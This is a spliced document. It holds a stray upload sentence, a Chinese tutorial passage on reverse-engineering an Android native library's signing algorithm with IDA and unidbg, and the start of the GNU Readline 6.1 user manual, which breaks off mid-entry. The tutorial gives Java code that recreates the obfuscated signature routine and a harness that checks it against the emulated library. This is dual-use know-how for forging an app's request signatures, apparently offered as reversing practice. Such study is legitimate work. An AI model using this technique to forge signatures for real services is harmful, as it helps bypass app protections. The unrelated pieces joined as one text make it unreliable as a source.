event. Data upload/stat generation will be an automated (and instant) process.
pdf
前5个加密字符还原, 请看龙哥的文章 SO逆向入门实战教程九——blackbox https://blog.csdn.net/qq_38851536/article/details/118115569 打开ida, 从sub_3B3C方法继续向下分析 我们一步一步看: 首先是v19的赋值 1 uint8x8_t v19; // d16 2 v19.n64_u32[1] = *(_DWORD *)"6789BCDFGHJKRTVWMNPQ567"; 3 uint8x8_t 的结构体如下:  这里用到了 ARM NEON 编程 https://www.cnblogs.com/xylc/p/5410517.html DCD 4个字节 DCW 2个字节 DCB 1个字节 DCQ  8个字节 1 // v35就是前5个加密字节 2 v19.n64_u32[0] = *(_DWORD *)&v35[1]; 这一步将上面得到的后4个字节的加密值赋值给 n64_u32[0]  就是上边的CD2D 1  uint32x4_t v34; // [sp+20h] [bp‐168h] BYREF 2  //寄存器中的每个元素的长度都扩展为原来的两倍,u8扩展为u16 3  v34 = vmovl_u16((uint16x4_t)vmovl_u8(v19).n128_u64[0]); 分为以下4步: 1) vmovl_u8对读取的uint8x8进行宽度扩展     vmovl_u8()  将uint8x8_t --> uint16x8_t     这句的作用是 //convert to 16-bit and move to 128-bit reg     CD2D 由原来的每个字符一个字节, 变成一个字符2个字节, 高位补0 2) 然后取前n128_u64[0],  即取前64位数据 3) 然后 使用(uint16x4_t) 强转成 uint16x4_t 类型     这句的作用是 //get low 64 bit and move them to 64-bit reg 4)  最后 vmovl_u16 对读取的uint16x4进行宽度扩展  vmovl_u16()  将uint16x4_t --> uint32x4_t CD2D 由原来的每个字符2个字节, 变成一个字符4个字节, 高位补0 然后将拓展后的数据传入 sub_194C() 方法 在unidbg debugger 传到sub_194C方法是这样的 分析 sub_194C() 看上去调用了很多方法,  其实也没有什么 直接用java还原即可 下面放出代码: 1 public static int[] sub_194C(int[] a1) { 2  int v1; 3  int v3; 4  int v4; 5  int v5; 6  int v6; 7  int v7; 8  int v8; 9  int v9; 10  int v18; 11  int v23; 12  int v24; 13  int v22; 14  int v21; 15  int v20; 16  int v19; 17  int v10; 18  int v11; 19  int v12; 20  int v13; 21  int v14; 22  int v15; 23  int v16; 24 25 26  v1 = a1[0]; 27  v3 = sub_191E(v1); 28  v4 = a1[1]; 29  v24 = v3; 30  v5 = (2 * v4) ^ 0x1B; 31  if ( (v4 & 0x80) == 0 ){ 32  v5 = 2 * v4; 33  } 34  v18 = v5 ^ v4; 35  v23 = sub_18F8(v4); 36  v6 = a1[2]; 37  v22 = sub_18D4(v6); 38  v7 = a1[3]; 39  v21 = sub_191E(v4); 40  v20 = sub_18F8(v6); 41  v19 = sub_18D4(v7); 42  v8 = v18 ^ sub_18D4(v1); 43  v9 = v8 ^ sub_191E(v6); 44  v10 = v9 ^ sub_18F8(v7); 45  v11 = sub_18F8(v1); 46  v12 = sub_18D4(v4); 47  v13 = sub_191E(v7); 48  a1[2] = v10 & 0xff; 49  v14 = (2 * v1) ^ 0x1B; 50  if ( (v1 & 0x80) == 0 ){ 51  v14 = 2 * v1; 52  } 53  a1[1] = (v14 ^ v1 ^ v21 ^ v20 ^ v19) & 0xff; 54  v15 = (2 * v7) ^ 0x1B; 55  if ( (v7 & 0x80) == 0 ){ 56  v15 = 2 * v7; 57  } 58 59  a1[0] = (v15 ^ v24 ^ v23 ^ v22 ^ v7) & 0xff; 60  v16 = (2 * v6) ^ 0x1B; 61  if ( (v6 & 0x80) == 0 ){ 62  v16 = 2 * v6; 63  } 64  a1[3] = (v13 ^ v16 ^ v6 ^ v11 ^ v12) & 0xff; 65  return a1; 66 } 67 68 public static int sub_191E(int a1) { 69  boolean v2; 70  int v3; 71  int v4; 72 73  v2 = (a1 & 0x80) != 0; 74  v3 = (2 * a1) ^ 0x1b; 75  if(!v2){ 76  v3 = 2 * a1; 77  } 78  v4 = v3 ^ a1 ^ sub_18F8(a1); 79  return sub_18D4(a1) ^ v4; 80 } 81 public static int sub_18F8(int a1) { 82  int v1; 83  int v2; 84 85  v1 = (2 * a1) ^ 0x1b; 86  if((a1 & 0x80) == 0){ 87  v1 = 2 * a1; 88  } 89  v2 = (2 * v1) ^ 0x1b; 90  if((v1 & 0x80) == 0){ 91  v2 = 2 * v1; 92  } 93  return sub_18D4(v2 ^ v1); 94 } 95 public static int sub_18D4(int a1) { 96  int v1; 97  int v2; 98 99  v1 = (2 * a1) ^ 0x1b; 100  if((a1 & 0x80) == 0){ 101  v1 = 2 * a1; 102  } 103  v2 = (2 * v1) ^ 0x1b; 104  if((v1 & 0x80) == 0){ 105  v2 = 2 * v1; 106  } 107  return v2 ^ v1; 108 } 这里要注意的是: 算出来的数只取 低8位,  这个是通过调试知道的 调用sub_194C方法前: 43 00 00 00 44 00 00 00 32 00 00 00 44 00 00 00 CD2D 调用sub_194C方法后: 58 00 00 00 EB 00 00 00 45 00 00 00 F6 00 00 00 继续向下分析:  调用了sub_3864 方法 因为参数a2固定是100, 其实是调用了sub_37A4方法 sub_37A4 方法前面实现过了 继续向下走: 查看汇编流发现, sub_37A4 计算的结果还做了 乘法和减法的操作 对应的java代码: 传入参数是sub_194C的返回值 1 public static String getLast2(int[] v25){ 2 // int[] v25 = new int[]{0x58,0xEB,0x45,0xF6}; 3  int v26 = 0; 4  int v28; 5  int v29; 6  String v29Str; 7  for ( int i = 0; i != 4; ++i ) 8  { 9  v28 = v25[i]; 10  v26 += v28; 11  } 12  System.out.println(v26); 13  // 算出ida中 sprintf的v29, 这一步要看汇编 14  int a2 = 100; 15  v29 = v26 ‐ sub_37A4(v26, a2) * a2; 16 // System.out.println(Integer.toHexString(v29)); 17  // 处理v29 18  if (v29 > 100){ 19  v29 = v29 % 100; 20  } 21  if (v29 < 10){ 22  v29Str = "0" + v29; 23  }else{ 24  v29Str = "" + v29; 25  } 26 27  return v29Str; 28  } 至此算法还原完成 下面验证算法 对比unidbg调用so生成的加密值和还原算法的加密值, 看是否相等 1 public static void main(String[] args) throws Exception { 2  // 打印详细日志 3 // Logger.getLogger("com.github.unidbg.linux.ARM32SyscallHandler").setLev el(Level.DEBUG); 4 // Logger.getLogger("com.github.unidbg.unix.UnixSyscallHandler").setLevel (Level.DEBUG); 5 // Logger.getLogger("com.github.unidbg.AbstractEmulator").setLevel(Level. DEBUG); 6 // Logger.getLogger("com.github.unidbg.linux.android.dvm.DalvikVM").setLe vel(Level.DEBUG); 7 // Logger.getLogger("com.github.unidbg.linux.android.dvm.BaseVM").setLeve l(Level.DEBUG); 8 // Logger.getLogger("com.github.unidbg.linux.android.dvm").setLevel(Leve l.DEBUG); 9 // PrintStream out = null; 10 11  CrackBlackBox obj = new CrackBlackBox(); 12 13  // 加密的key的明文 14  String keyText = "r0env"; 15  for(int i = 0; i<10000; i += 1){ 16  double d = Math.random(); 17  int temp = (int)(d*1000000); 18  if(! obj.callEncode(temp, keyText).equals(utils.encode(temp, keyText))) { 19  System.out.println("两种方法的加密值不一样!!!!!!!!!!!!!!"); 20  }; 21  } 22 23  obj.destroy(); 24  } 日志如下: 1 unidbg调用so生成的加密值是: G7WJW18 2 [0, 0, 0, 0, 0, 3, ‐44, 7] 3 hmacsha1加密值: 4e83863c0704078a26eF1Fb36b23905685ed2Fa4 4 索引值是: 4 5 前5个加密字节是: G7WJW 6 518 7 后2个加密字节是: 18 8 本地还原方法的最终加密值是: G7WJW18 9 10 unidbg调用so生成的加密值是: QRDH338 11 [0, 0, 0, 0, 0, 11, 25, 82] 12 hmacsha1加密值: 1875d19268Fc156d09e0b4726e5bedFFbFca37ca 13 索引值是: 10 14 前5个加密字节是: QRDH3 15 638 16 后2个加密字节是: 38 17 本地还原方法的最终加密值是: QRDH338 18 19 unidbg调用so生成的加密值是: WXHGV98 20 [0, 0, 0, 0, 0, 8, 28, ‐87] 21 hmacsha1加密值: 6d78a4050698aa9Fb20764321ad0b23bbFF53a0c 22 索引值是: 12 23 前5个加密字节是: WXHGV 24 398 25 后2个加密字节是: 98 26 本地还原方法的最终加密值是: WXHGV98 27 28 .... 算法验证成功
pdf
GNU Readline Library User Interface Edition 6.1, for Readline Library Version 6.1. October 2009 Chet Ramey, Case Western Reserve University Brian Fox, Free Software Foundation This manual describes the end user interface of the GNU Readline Library (version 6.1, 9 October 2009), a library which aids in the consistency of user interface across discrete programs which provide a command line interface. Copyright c⃝ 1988–2009 Free Software Foundation, Inc. Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with the Front-Cover texts being “A GNU Manual”, and with the Back-Cover Texts as in (a) below. A copy of the license is included in the section entitled “GNU Free Documentation License”. (a) The FSF’s Back-Cover Text is: You are free to copy and modify this GNU manual. Buying copies from GNU Press supports the FSF in developing GNU and promoting software freedom.” Published by the Free Software Foundation 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA i Table of Contents 1 Command Line Editing . . . . . . . . . . . . . . . . . . . . . . . . 1 1.1 Introduction to Line Editing. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2 Readline Interaction. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2.1 Readline Bare Essentials. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.2.2 Readline Movement Commands. . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2.3 Readline Killing Commands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 1.2.4 Readline Arguments. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.2.5 Searching for Commands in the History. . . . . . . . . . . . . . . . . . . . 3 1.3 Readline Init File . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.3.1 Readline Init File Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.3.2 Conditional Init Constructs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.3.3 Sample Init File. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 1.4 Bindable Readline Commands. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.4.1 Commands For Moving. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 1.4.2 Commands For Manipulating The History . . . . . . . . . . . . . . . . 13 1.4.3 Commands For Changing Text . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 1.4.4 Killing And Yanking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16 1.4.5 Specifying Numeric Arguments . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 1.4.6 Letting Readline Type For You. . . . . . . . . . . . . . . . . . . . . . . . . . . 17 1.4.7 Keyboard Macros . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 1.4.8 Some Miscellaneous Commands . . . . . . . . . . . . . . . . . . . . . . . . . . 18 1.5 Readline vi Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 Appendix A GNU Free Documentation License . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Chapter 1: Command Line Editing 1 1 Command Line Editing This chapter describes the basic features of the gnu command line editing interface. 1.1 Introduction to Line Editing The following paragraphs describe the notation used to represent keystrokes. The text C-k is read as ‘Control-K’ and describes the character produced when the k key is pressed while the Control key is depressed. The text M-k is read as ‘Meta-K’ and describes the character produced when the Meta key (if you have one) is depressed, and the k key is pressed. The Meta key is labeled ALT on many keyboards. On keyboards with two keys labeled ALT (usually to either side of the space bar), the ALT on the left side is generally set to work as a Meta key. The ALT key on the right may also be configured to work as a Meta key or may be configured as some other modifier, such as a Compose key for typing accented characters. If you do not have a Meta or ALT key, or another key working as a Meta key, the identical keystroke can be generated by typing ESC first, and then typing k. Either process is known as metafying the k key. The text M-C-k is read as ‘Meta-Control-k’ and describes the character produced by metafying C-k. In addition, several keys have their own names. Specifically, DEL, ESC, LFD, SPC, RET, and TAB all stand for themselves when seen in this text, or in an init file (see Section 1.3 [Readline Init File], page 4). If your keyboard lacks a LFD key, typing C-j will produce the desired character. The RET key may be labeled Return or Enter on some keyboards. 1.2 Readline Interaction Often during an interactive session you type in a long line of text, only to notice that the first word on the line is misspelled. The Readline library gives you a set of commands for manipulating the text as you type it in, allowing you to just fix your typo, and not forcing you to retype the majority of the line. Using these editing commands, you move the cursor to the place that needs correction, and delete or insert the text of the corrections. Then, when you are satisfied with the line, you simply press RET. You do not have to be at the end of the line to press RET; the entire line is accepted regardless of the location of the cursor within the line. 1.2.1 Readline Bare Essentials In order to enter characters into the line, simply type them. The typed character appears where the cursor was, and then the cursor moves one space to the right. If you mistype a character, you can use your erase character to back up and delete the mistyped character. Sometimes you may mistype a character, and not notice the error until you have typed several other characters. In that case, you can type C-b to move the cursor to the left, and then correct your mistake. Afterwards, you can move the cursor to the right with C-f. When you add text in the middle of a line, you will notice that characters to the right of the cursor are ‘pushed over’ to make room for the text that you have inserted. Likewise, when you delete text behind the cursor, characters to the right of the cursor are ‘pulled Chapter 1: Command Line Editing 2 back’ to fill in the blank space created by the removal of the text. A list of the bare essentials for editing the text of an input line follows. C-b Move back one character. C-f Move forward one character. DEL or Backspace Delete the character to the left of the cursor. C-d Delete the character underneath the cursor. Printing characters Insert the character into the line at the cursor. C-_ or C-x C-u Undo the last editing command. You can undo all the way back to an empty line. (Depending on your configuration, the Backspace key be set to delete the character to the left of the cursor and the DEL key set to delete the character underneath the cursor, like C-d, rather than the character to the left of the cursor.) 1.2.2 Readline Movement Commands The above table describes the most basic keystrokes that you need in order to do editing of the input line. For your convenience, many other commands have been added in addition to C-b, C-f, C-d, and DEL. Here are some commands for moving more rapidly about the line. C-a Move to the start of the line. C-e Move to the end of the line. M-f Move forward a word, where a word is composed of letters and digits. M-b Move backward a word. C-l Clear the screen, reprinting the current line at the top. Notice how C-f moves forward a character, while M-f moves forward a word. It is a loose convention that control keystrokes operate on characters while meta keystrokes operate on words. 1.2.3 Readline Killing Commands Killing text means to delete the text from the line, but to save it away for later use, usually by yanking (re-inserting) it back into the line. (‘Cut’ and ‘paste’ are more recent jargon for ‘kill’ and ‘yank’.) If the description for a command says that it ‘kills’ text, then you can be sure that you can get the text back in a different (or the same) place later. When you use a kill command, the text is saved in a kill-ring. Any number of consecutive kills save all of the killed text together, so that when you yank it back, you get it all. The kill ring is not line specific; the text that you killed on a previously typed line is available to be yanked back later, when you are typing another line. Here is the list of commands for killing text. Chapter 1: Command Line Editing 3 C-k Kill the text from the current cursor position to the end of the line. M-d Kill from the cursor to the end of the current word, or, if between words, to the end of the next word. Word boundaries are the same as those used by M-f. M-DEL Kill from the cursor the start of the current word, or, if between words, to the start of the previous word. Word boundaries are the same as those used by M-b. C-w Kill from the cursor to the previous whitespace. This is different than M-DEL because the word boundaries differ. Here is how to yank the text back into the line. Yanking means to copy the most- recently-killed text from the kill buffer. C-y Yank the most recently killed text back into the buffer at the cursor. M-y Rotate the kill-ring, and yank the new top. You can only do this if the prior command is C-y or M-y. 1.2.4 Readline Arguments You can pass numeric arguments to Readline commands. Sometimes the argument acts as a repeat count, other times it is the sign of the argument that is significant. If you pass a negative argument to a command which normally acts in a forward direction, that command will act in a backward direction. For example, to kill text back to the start of the line, you might type ‘M-- C-k’. The general way to pass numeric arguments to a command is to type meta digits before the command. If the first ‘digit’ typed is a minus sign (‘-’), then the sign of the argument will be negative. Once you have typed one meta digit to get the argument started, you can type the remainder of the digits, and then the command. For example, to give the C-d command an argument of 10, you could type ‘M-1 0 C-d’, which will delete the next ten characters on the input line. 1.2.5 Searching for Commands in the History Readline provides commands for searching through the command history for lines containing a specified string. There are two search modes: incremental and non-incremental. Incremental searches begin before the user has finished typing the search string. As each character of the search string is typed, Readline displays the next entry from the history matching the string typed so far. An incremental search requires only as many characters as needed to find the desired history entry. To search backward in the history for a particular string, type C-r. Typing C-s searches forward through the history. The characters present in the value of the isearch-terminators variable are used to terminate an incremental search. If that variable has not been assigned a value, the ESC and C-J characters will terminate an incremental search. C-g will abort an incremental search and restore the original line. When the search is terminated, the history entry containing the search string becomes the current line. To find other matching entries in the history list, type C-r or C-s as appropriate. This will search backward or forward in the history for the next entry matching the search string typed so far. Any other key sequence bound to a Readline command will terminate the Chapter 1: Command Line Editing 4 search and execute that command. For instance, a RET will terminate the search and accept the line, thereby executing the command from the history list. A movement command will terminate the search, make the last line found the current line, and begin editing. Readline remembers the last incremental search string. If two C-rs are typed without any intervening characters defining a new search string, any remembered search string is used. Non-incremental searches read the entire search string before starting to search for matching history lines. The search string may be typed by the user or be part of the contents of the current line. 1.3 Readline Init File Although the Readline library comes with a set of Emacs-like keybindings installed by default, it is possible to use a different set of keybindings. Any user can customize programs that use Readline by putting commands in an inputrc file, conventionally in his home directory. The name of this file is taken from the value of the environment variable INPUTRC. If that variable is unset, the default is ‘~/.inputrc’. If that file does not exist or cannot be read, the ultimate default is ‘/etc/inputrc’. When a program which uses the Readline library starts up, the init file is read, and the key bindings are set. In addition, the C-x C-r command re-reads this init file, thus incorporating any changes that you might have made to it. 1.3.1 Readline Init File Syntax There are only a few basic constructs allowed in the Readline init file. Blank lines are ignored. Lines beginning with a ‘#’ are comments. Lines beginning with a ‘$’ indicate conditional constructs (see Section 1.3.2 [Conditional Init Constructs], page 10). Other lines denote variable settings and key bindings. Variable Settings You can modify the run-time behavior of Readline by altering the values of variables in Readline using the set command within the init file. The syntax is simple: set variable value Here, for example, is how to change from the default Emacs-like key binding to use vi line editing commands: set editing-mode vi Variable names and values, where appropriate, are recognized without regard to case. Unrecognized variable names are ignored. Boolean variables (those that can be set to on or off) are set to on if the value is null or empty, on (case-insensitive), or 1. Any other value results in the variable being set to off. A great deal of run-time behavior is changeable with the following variables. bell-style Controls what happens when Readline wants to ring the termi- nal bell. If set to ‘none’, Readline never rings the bell. If set to Chapter 1: Command Line Editing 5 ‘visible’, Readline uses a visible bell if one is available. If set to ‘audible’ (the default), Readline attempts to ring the terminal’s bell. bind-tty-special-chars If set to ‘on’, Readline attempts to bind the control characters treated specially by the kernel’s terminal driver to their Readline equivalents. comment-begin The string to insert at the beginning of the line when the insert- comment command is executed. The default value is "#". completion-ignore-case If set to ‘on’, Readline performs filename matching and completion in a case-insensitive fashion. The default value is ‘off’. completion-prefix-display-length The length in characters of the common prefix of a list of possible completions that is displayed without modification. When set to a value greater than zero, common prefixes longer than this value are replaced with an ellipsis when displaying possible completions. completion-query-items The number of possible completions that determines when the user is asked whether the list of possibilities should be displayed. If the number of possible completions is greater than this value, Readline will ask the user whether or not he wishes to view them; otherwise, they are simply listed. This variable must be set to an integer value greater than or equal to 0. A negative value means Readline should never ask. The default limit is 100. convert-meta If set to ‘on’, Readline will convert characters with the eighth bit set to an ascii key sequence by stripping the eighth bit and prefixing an ESC character, converting them to a meta-prefixed key sequence. The default value is ‘on’. disable-completion If set to ‘On’, Readline will inhibit word completion. Completion characters will be inserted into the line as if they had been mapped to self-insert. The default is ‘off’. editing-mode The editing-mode variable controls which default set of key bind- ings is used. By default, Readline starts up in Emacs editing mode, where the keystrokes are most similar to Emacs. This variable can be set to either ‘emacs’ or ‘vi’. echo-control-characters When set to ‘on’, on operating systems that indicate they support it, readline echoes a character corresponding to a signal generated from the keyboard. The default is ‘on’. Chapter 1: Command Line Editing 6 enable-keypad When set to ‘on’, Readline will try to enable the application keypad when it is called. Some systems need this to enable the arrow keys. The default is ‘off’. enable-meta-key When set to ‘on’, Readline will try to enable any meta modifier key the terminal claims to support when it is called. On many terminals, the meta key is used to send eight-bit characters. The default is ‘on’. expand-tilde If set to ‘on’, tilde expansion is performed when Readline attempts word completion. The default is ‘off’. history-preserve-point If set to ‘on’, the history code attempts to place the point (the current cursor position) at the same location on each history line retrieved with previous-history or next-history. The default is ‘off’. history-size Set the maximum number of history entries saved in the history list. If set to zero, the number of entries in the history list is not limited. horizontal-scroll-mode This variable can be set to either ‘on’ or ‘off’. Setting it to ‘on’ means that the text of the lines being edited will scroll horizontally on a single screen line when they are longer than the width of the screen, instead of wrapping onto a new screen line. By default, this variable is set to ‘off’. input-meta If set to ‘on’, Readline will enable eight-bit input (it will not clear the eighth bit in the characters it reads), regardless of what the terminal claims it can support. The default value is ‘off’. The name meta-flag is a synonym for this variable. isearch-terminators The string of characters that should terminate an incremental search without subsequently executing the character as a command (see Section 1.2.5 [Searching], page 3). If this variable has not been given a value, the characters ESC and C-J will terminate an incremental search. keymap Sets Readline’s idea of the current keymap for key binding com- mands. Acceptable keymap names are emacs, emacs-standard, emacs-meta, emacs-ctlx, vi, vi-move, vi-command, and vi-insert. vi is equivalent to vi-command; emacs is equivalent to emacs-standard. The default value is emacs. The value of the editing-mode variable also affects the default keymap. Chapter 1: Command Line Editing 7 mark-directories If set to ‘on’, completed directory names have a slash appended. The default is ‘on’. mark-modified-lines This variable, when set to ‘on’, causes Readline to display an as- terisk (‘*’) at the start of history lines which have been modified. This variable is ‘off’ by default. mark-symlinked-directories If set to ‘on’, completed names which are symbolic links to di- rectories have a slash appended (subject to the value of mark- directories). The default is ‘off’. match-hidden-files This variable, when set to ‘on’, causes Readline to match files whose names begin with a ‘.’ (hidden files) when performing filename completion, unless the leading ‘.’ is supplied by the user in the filename to be completed. This variable is ‘on’ by default. output-meta If set to ‘on’, Readline will display characters with the eighth bit set directly rather than as a meta-prefixed escape sequence. The default is ‘off’. page-completions If set to ‘on’, Readline uses an internal more-like pager to display a screenful of possible completions at a time. This variable is ‘on’ by default. print-completions-horizontally If set to ‘on’, Readline will display completions with matches sorted horizontally in alphabetical order, rather than down the screen. The default is ‘off’. revert-all-at-newline If set to ‘on’, Readline will undo all changes to history lines before returning when accept-line is executed. By default, history lines may be modified and retain individual undo lists across calls to readline. The default is ‘off’. show-all-if-ambiguous This alters the default behavior of the completion functions. If set to ‘on’, words which have more than one possible completion cause the matches to be listed immediately instead of ringing the bell. The default value is ‘off’. show-all-if-unmodified This alters the default behavior of the completion functions in a fashion similar to show-all-if-ambiguous. If set to ‘on’, words which have more than one possible completion without any possible par- tial completion (the possible completions don’t share a common Chapter 1: Command Line Editing 8 prefix) cause the matches to be listed immediately instead of ring- ing the bell. The default value is ‘off’. skip-completed-text If set to ‘on’, this alters the default completion behavior when in- serting a single match into the line. It’s only active when perform- ing completion in the middle of a word. If enabled, readline does not insert characters from the completion that match characters after point in the word being completed, so portions of the word following the cursor are not duplicated. For instance, if this is en- abled, attempting completion when the cursor is after the ‘e’ in ‘Makefile’ will result in ‘Makefile’ rather than ‘Makefilefile’, assuming there is a single possible completion. The default value is ‘off’. visible-stats If set to ‘on’, a character denoting a file’s type is appended to the filename when listing possible completions. The default is ‘off’. Key Bindings The syntax for controlling key bindings in the init file is simple. First you need to find the name of the command that you want to change. The following sections contain tables of the command name, the default keybinding, if any, and a short description of what the command does. Once you know the name of the command, simply place on a line in the init file the name of the key you wish to bind the command to, a colon, and then the name of the command. There can be no space between the key name and the colon – that will be interpreted as part of the key name. The name of the key can be expressed in different ways, depending on what you find most comfortable. In addition to command names, readline allows keys to be bound to a string that is inserted when the key is pressed (a macro). keyname: function-name or macro keyname is the name of a key spelled out in English. For example: Control-u: universal-argument Meta-Rubout: backward-kill-word Control-o: "> output" In the above example, C-u is bound to the function universal- argument, M-DEL is bound to the function backward-kill-word, and C-o is bound to run the macro expressed on the right hand side (that is, to insert the text ‘> output’ into the line). A number of symbolic character names are recognized while pro- cessing this key binding syntax: DEL, ESC, ESCAPE, LFD, NEW- LINE, RET, RETURN, RUBOUT, SPACE, SPC, and TAB. "keyseq": function-name or macro keyseq differs from keyname above in that strings denoting an en- tire key sequence can be specified, by placing the key sequence in Chapter 1: Command Line Editing 9 double quotes. Some gnu Emacs style key escapes can be used, as in the following example, but the special character names are not recognized. "\C-u": universal-argument "\C-x\C-r": re-read-init-file "\e[11~": "Function Key 1" In the above example, C-u is again bound to the function universal-argument (just as it was in the first example), ‘C-x C-r’ is bound to the function re-read-init-file, and ‘ESC [ 1 1 ~’ is bound to insert the text ‘Function Key 1’. The following gnu Emacs style escape sequences are available when specifying key sequences: \C- control prefix \M- meta prefix \e an escape character \\ backslash \" ", a double quotation mark \’ ’, a single quote or apostrophe In addition to the gnu Emacs style escape sequences, a second set of backslash escapes is available: \a alert (bell) \b backspace \d delete \f form feed \n newline \r carriage return \t horizontal tab \v vertical tab \nnn the eight-bit character whose value is the octal value nnn (one to three digits) \xHH the eight-bit character whose value is the hexadecimal value HH (one or two hex digits) When entering the text of a macro, single or double quotes must be used to indicate a macro definition. Unquoted text is assumed to be a function name. In the macro body, the backslash escapes described above are expanded. Backslash will quote any other character in the macro text, including ‘"’ and ‘’’. For example, the following binding will make ‘C-x \’ insert a single ‘\’ into the line: "\C-x\\": "\\" Chapter 1: Command Line Editing 10 1.3.2 Conditional Init Constructs Readline implements a facility similar in spirit to the conditional compilation features of the C preprocessor which allows key bindings and variable settings to be performed as the result of tests. There are four parser directives used. $if The $if construct allows bindings to be made based on the editing mode, the terminal being used, or the application using Readline. The text of the test extends to the end of the line; no characters are required to isolate it. mode The mode= form of the $if directive is used to test whether Readline is in emacs or vi mode. This may be used in conjunction with the ‘set keymap’ command, for instance, to set bindings in the emacs- standard and emacs-ctlx keymaps only if Readline is starting out in emacs mode. term The term= form may be used to include terminal-specific key bind- ings, perhaps to bind the key sequences output by the terminal’s function keys. The word on the right side of the ‘=’ is tested against both the full name of the terminal and the portion of the terminal name before the first ‘-’. This allows sun to match both sun and sun-cmd, for instance. application The application construct is used to include application-specific set- tings. Each program using the Readline library sets the application name, and you can test for a particular value. This could be used to bind key sequences to functions useful for a specific program. For instance, the following command adds a key sequence that quotes the current or previous word in Bash: $if Bash # Quote the current or previous word "\C-xq": "\eb\"\ef\"" $endif $endif This command, as seen in the previous example, terminates an $if command. $else Commands in this branch of the $if directive are executed if the test fails. $include This directive takes a single filename as an argument and reads commands and bindings from that file. For example, the following directive reads from ‘/etc/inputrc’: $include /etc/inputrc 1.3.3 Sample Init File Here is an example of an inputrc file. This illustrates key binding, variable assignment, and conditional syntax. Chapter 1: Command Line Editing 11 # This file controls the behaviour of line input editing for # programs that use the GNU Readline library. Existing # programs include FTP, Bash, and GDB. # # You can re-read the inputrc file with C-x C-r. # Lines beginning with ’#’ are comments. # # First, include any systemwide bindings and variable # assignments from /etc/Inputrc $include /etc/Inputrc # # Set various bindings for emacs mode. set editing-mode emacs $if mode=emacs Meta-Control-h: backward-kill-word Text after the function name is ignored # # Arrow keys in keypad mode # #"\M-OD": backward-char #"\M-OC": forward-char #"\M-OA": previous-history #"\M-OB": next-history # # Arrow keys in ANSI mode # "\M-[D": backward-char "\M-[C": forward-char "\M-[A": previous-history "\M-[B": next-history # # Arrow keys in 8 bit keypad mode # #"\M-\C-OD": backward-char #"\M-\C-OC": forward-char #"\M-\C-OA": previous-history #"\M-\C-OB": next-history # # Arrow keys in 8 bit ANSI mode # #"\M-\C-[D": backward-char #"\M-\C-[C": forward-char Chapter 1: Command Line Editing 12 #"\M-\C-[A": previous-history #"\M-\C-[B": next-history C-q: quoted-insert $endif # An old-style binding. This happens to be the default. TAB: complete # Macros that are convenient for shell interaction $if Bash # edit the path "\C-xp": "PATH=${PATH}\e\C-e\C-a\ef\C-f" # prepare to type a quoted word -- # insert open and close double quotes # and move to just after the open quote "\C-x\"": "\"\"\C-b" # insert a backslash (testing backslash escapes # in sequences and macros) "\C-x\\": "\\" # Quote the current or previous word "\C-xq": "\eb\"\ef\"" # Add a binding to refresh the line, which is unbound "\C-xr": redraw-current-line # Edit variable on current line. "\M-\C-v": "\C-a\C-k$\C-y\M-\C-e\C-a\C-y=" $endif # use a visible bell if one is available set bell-style visible # don’t strip characters to 7 bits when reading set input-meta on # allow iso-latin1 characters to be inserted rather # than converted to prefix-meta sequences set convert-meta off # display characters with the eighth bit set directly # rather than as meta-prefixed characters set output-meta on # if there are more than 150 possible completions for # a word, ask the user if he wants to see all of them set completion-query-items 150 Chapter 1: Command Line Editing 13 # For FTP $if Ftp "\C-xg": "get \M-?" "\C-xt": "put \M-?" "\M-.": yank-last-arg $endif 1.4 Bindable Readline Commands This section describes Readline commands that may be bound to key sequences. Command names without an accompanying key sequence are unbound by default. In the following descriptions, point refers to the current cursor position, and mark refers to a cursor position saved by the set-mark command. The text between the point and mark is referred to as the region. 1.4.1 Commands For Moving beginning-of-line (C-a) Move to the start of the current line. end-of-line (C-e) Move to the end of the line. forward-char (C-f) Move forward a character. backward-char (C-b) Move back a character. forward-word (M-f) Move forward to the end of the next word. Words are composed of letters and digits. backward-word (M-b) Move back to the start of the current or previous word. Words are composed of letters and digits. clear-screen (C-l) Clear the screen and redraw the current line, leaving the current line at the top of the screen. redraw-current-line () Refresh the current line. By default, this is unbound. 1.4.2 Commands For Manipulating The History accept-line (Newline or Return) Accept the line regardless of where the cursor is. If this line is non-empty, it may be added to the history list for future recall with add_history(). If this line is a modified history line, the history line is restored to its original state. previous-history (C-p) Move ‘back’ through the history list, fetching the previous command. Chapter 1: Command Line Editing 14 next-history (C-n) Move ‘forward’ through the history list, fetching the next command. beginning-of-history (M-<) Move to the first line in the history. end-of-history (M->) Move to the end of the input history, i.e., the line currently being entered. reverse-search-history (C-r) Search backward starting at the current line and moving ‘up’ through the his- tory as necessary. This is an incremental search. forward-search-history (C-s) Search forward starting at the current line and moving ‘down’ through the the history as necessary. This is an incremental search. non-incremental-reverse-search-history (M-p) Search backward starting at the current line and moving ‘up’ through the his- tory as necessary using a non-incremental search for a string supplied by the user. non-incremental-forward-search-history (M-n) Search forward starting at the current line and moving ‘down’ through the the history as necessary using a non-incremental search for a string supplied by the user. history-search-forward () 